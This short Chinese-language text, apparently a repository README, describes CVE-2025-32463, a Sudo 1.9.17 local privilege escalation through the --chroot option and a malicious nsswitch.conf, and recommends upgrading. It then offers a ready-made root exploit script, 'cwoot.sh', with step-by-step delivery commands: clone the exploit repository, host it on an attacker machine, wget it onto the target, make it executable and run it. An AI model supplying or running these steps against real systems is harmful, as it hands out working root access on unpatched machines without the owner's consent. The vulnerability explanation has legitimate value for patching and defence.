Sudo 1.9.17 版本存在一个严重漏洞(CVE-2025-32463),允许本地用户通过利用 chroot 选项获取 root 权限,可能导致严重的安全风险。 建议用户更新至 1.9.17p1 或更高版本以缓解此问题。
Sudo 1.9.17 漏洞概述:-
Sudo 1.9.17 版本中的漏洞(标识为 CVE-2025-32463)是一个严重缺陷,允许本地用户获取 root 权限。该问题源于 Sudo 处理 --chroot (-R) 选项方式的改变,该选项原本旨在通过更改进程的根目录来隔离进程。
漏洞工作原理:-
路径解析问题:在 1.9.14 到 1.9.17 版本中, Sudo 在检查用户权限之前评估 --chroot 选项。 这允许攻击者控制环境并加载恶意库。
利用步骤:
攻击者在其控制的目录中创建一个恶意的 nsswitch.conf 文件。 他们使用 -R 选项执行 Sudo,导致 Sudo 加载攻击者的配置和库,从而授予 root 权限。
我创建了一个 bash 脚本 "cwoot.sh",执行后将直接提升到 root 用户。
执行以下操作:
从仓库下载脚本:git clone https://github.com/justjoeyking/CVE-2025-32463.git
在自有机器上:python3 -m http.server 8080
在目标机器上:wget http://<own_IP_address>:8080/cwoot.sh
在目标机器上:chmod 755 cwoot.sh
在目标机器上执行脚本:./cwoot.sh